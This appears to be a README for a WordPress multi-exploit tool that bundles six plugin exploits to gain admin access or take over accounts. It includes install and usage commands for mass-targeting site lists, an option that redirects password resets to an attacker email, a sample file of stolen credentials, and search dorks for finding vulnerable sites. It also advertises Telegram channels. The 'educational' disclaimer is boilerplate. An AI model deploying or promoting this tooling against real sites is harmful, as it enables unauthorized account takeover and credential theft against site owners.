╔══════════════════════════════════════════════════════════════╗
║ ║
║ ██╗ ██╗███████╗████████╗ ██████╗ ██╗ ██╗ ║
║ ██║ ██║██╔════╝╚══██╔══╝██╔════╝ ██║ ██║ ║
║ ███████║█████╗ ██║ ██║ ███╗███████║ ║
║ ██╔══██║██╔══╝ ██║ ██║ ██║██╔══██║ ║
║ ██║ ██║██║ ██║ ╚██████╔╝██║ ██║ ║
║ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ║
║ ║
║ WordPress Multi-Exploit Tool ║
║ 6 Exploits Integrated ║
╚══════════════════════════════════════════════════════════════╝
- Overview
- Features
- Exploits Included
- Installation
- Usage
- Detection Methods
- Verification System
- Results
- Author
- Disclaimer
HFT404 WordPress Multi-Exploit Tool is a comprehensive penetration testing tool designed for security researchers and ethical hackers. It integrates 6 WordPress exploits targeting critical vulnerabilities with strict verification to eliminate false positives.
The tool features:
- 🔍 Enhanced WordPress Detection with scoring system
- 🛡️ Strict Verification - No false positives
- 💾 Auto-Save Results with verification status
- 📝 Debug Logging for troubleshooting
- 🚀 Async Processing for high performance
┌─────────────────────────────────────────────────────────────┐
│ ✅ 6 WordPress Exploits Integrated │
│ ✅ Enhanced WordPress Detection (Score-based) │
│ ✅ Strict Verification (Login + Admin Check) │
│ ✅ Auto-Save Results in Results_cred/ │
│ ✅ Debug Logging System │
│ ✅ Multiple Encoding Support │
│ ✅ Error Handling (WinError 64, Timeouts, Retries) │
│ ✅ Concurrent Processing (Async) │
│ ✅ Color-Coded Output │
│ ✅ Multiple User-Agent Rotation │
└─────────────────────────────────────────────────────────────┘
| # | CVE/Plugin | Type | Severity | Verification |
|---|---|---|---|---|
| 1 | CVE-2026-19598 - Pods | Privilege Escalation | 🔴 Critical | ✅ Login + Admin |
| 2 | CVE-2026-19632 - TranslatePress | Account Takeover | 🔴 Critical | ✅ Reset Key |
| 3 | CVE-2026-8206 - Kirki | Account Takeover | 🔴 Critical | |
| 4 | Branda <= 3.4.29 | Privilege Escalation | 🔴 Critical | ✅ Login + Admin |
| 5 | TrueBooker | Admin Creation | 🔴 Critical | ✅ Login + Admin |
| 6 | CVE-2026-12416/12417 - Pravel | Password Reset | 🔴 Critical | ✅ Login + Admin |
# Creates admin user via unauthenticated AJAX
# Verification: Login + Admin Dashboard check
# Reliability: 100% (No false positives)# Extracts password reset link from translation dictionary
# Verification: Reset key found in translations
# Reliability: 95% (Requires specific conditions)# Sends password reset to attacker email
# Verification: Response success indicators
# Reliability: 70% (Email delivery not verified)# Changes password via registration form
# Verification: Login + Admin Dashboard check
# Reliability: 100% (No false positives)# Creates admin user via AJAX
# Verification: Login + Admin Dashboard check
# Reliability: 100% (No false positives)# Resets password via unauthenticated AJAX
# Verification: Login + Admin Dashboard check
# Reliability: 95% (No false positives)# Clone the repository
git clone https://github.com/HackfutSecRoot/wordpress-multi-exploit.git
cd wordpress-multi-exploit
# Install requirements
pip install -r requirements.txt
# Or install manually
pip install aiohttpaiohttp>=3.8.0
# Single target
python3 multi_exploit.py -t https://target.com
# Single target with username
python3 multi_exploit.py -t https://target.com -u admin
# Scan multiple targets
python3 multi_exploit.py -f targets.txt
# With debug mode
python3 multi_exploit.py -t https://target.com --debug# With specific user IDs for Pods exploit
python3 multi_exploit.py -t https://target.com --id 1
# With multiple user IDs
python3 multi_exploit.py -t https://target.com --ids 1,2,3,4,5
# With attacker email for Kirki
python3 multi_exploit.py -t https://target.com -e attacker@email.com
# With custom threads
python3 multi_exploit.py -f targets.txt --threads 5
# With custom timeout
python3 multi_exploit.py -t https://target.com --timeout 45
# Quiet mode (only show successes)
python3 multi_exploit.py -f targets.txt --quiet
# Save results to custom file
python3 multi_exploit.py -f targets.txt -o results.txtusage: multi_exploit.py [-h] [-t TARGET] [-f FILE] [--id ID] [--ids IDS]
[-u USERNAME] [-e EMAIL] [-o OUTPUT] [--threads THREADS]
[--timeout TIMEOUT] [--quiet] [--skip-detection]
[--debug] [-v]
Options:
-t, --target Single target URL
-f, --file File with targets (one per line)
--id User ID for Pods exploit
--ids Comma-separated User IDs
-u, --username Target username (default: admin)
-e, --email Attacker email for Kirki
-o, --output Output file for results
--threads Concurrent threads (default: 3)
--timeout Request timeout (default: 30)
--quiet Only show successful results
--skip-detection Skip WordPress detection
--debug Enable debug logging
-v, --version Show version
The tool uses multiple detection methods with a scoring system:
# Detection Score System
Content Patterns: +3 points each
Meta Generator: +5 points
wp-json Link: +3 points
X-Pingback Header: +5 points
WordPress URLs: +2 points each
License.txt: +5 points
# Score Thresholds
Score >= 8: WordPress Confirmed
Score >= 5: WordPress Probable
Score < 5: Not WordPress/wp-login.php
/wp-json/
/wp-content/
/wp-includes/
/wp-admin/
/xmlrpc.php
/wp-cron.php
/readme.html
/license.txt
/wp-trackback.php
/wp-signup.php
┌─────────────────────────────────────────────┐
│ 1. Plugin Detection │
│ ↓ │
│ 2. Exploit Attempt │
│ ↓ │
│ 3. Login Verification │
│ ↓ │
│ 4. Admin Access Check │
│ ↓ │
│ 5. Save Result (VERIFIED/UNVERIFIED) │
└─────────────────────────────────────────────┘
| Status | Meaning | Confidence |
|---|---|---|
VERIFIED |
Login + Admin confirmed | 100% |
UNVERIFIED |
HTTP 200 but no login check | 70% |
FAIL |
Exploit failed | 0% |
Results_cred/
├── credentials.txt # All credentials with verification status
├── wordpress_domains.txt # Detected WordPress domains with scores
├── reset_links.txt # TranslatePress reset URLs
├── kirki_results.txt # Kirki exploit results
├── branda_results.txt # Branda exploit results
├── truebooker_results.txt # TrueBooker exploit results
├── pravel_results.txt # Pravel exploit results
└── debug.log # Debug information
# Format: login_url|username|password|email|user_id|exploit_type|verification
https://target.com/wp-login.php|admin_123456|P@ssw0rd!|pwn_123@evil.tld|1|pods|VERIFIED
[+] WordPress: https://target.com | Score: 25
[*] Pods: YES
[*] TranslatePress: NO
[*] Kirki: NO
[*] Branda: NO
[*] TrueBooker: NO
[*] Pravel: NO
[*] Trying Pods exploit...
[PODS] Target: https://target.com | ID: 1
[✓] PODS SUCCESS! Admin access verified!
[+] Credentials saved to Results_cred/credentials.txt
════════════════════════════════════════════════════════════
EXPLOITATION SUCCESSFUL (VERIFIED)
════════════════════════════════════════════════════════════
Target: https://target.com
Exploit: pods
Username: admin_123456
Password: Xk9$mP2@vL5!wQ8#
════════════════════════════════════════════════════════════
body="pods" || body="translatepress" || body="kirki" || body="branda" || body="truebooker" || body="pravel"
http.html:"pods" || http.html:"translatepress" || http.html:"kirki" || http.html:"branda" || http.html:"truebooker" || http.html:"pravel"
HackfutSecRoot
| Channel | Link |
|---|---|
| 📢 Channel 1 | Telegram Channel |
| 📢 Channel 2 | LinxProdXs404 |
| 📢 ULP Channel | ULP Linxprodx |
| 📝 Post 1 | Telegram Post |
| 📝 Post 2 | Telegram Post |
| 💬 Contact | @HackfutS3c ✅ |
This tool is for educational and authorized security research purposes only.
- 🔴 Only use on systems you own or have explicit permission to test
- 🔴 The author is not responsible for any misuse or damage
- 🔴 Unauthorized access to computer systems is illegal
- 🔴 Always follow responsible disclosure practices
By using this tool, you agree to use it solely for lawful purposes.
MIT License
Copyright (c) 2026 HackfutSecRoot
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Made with ❤️ by HackfutSecRoot
For Educational Purposes Only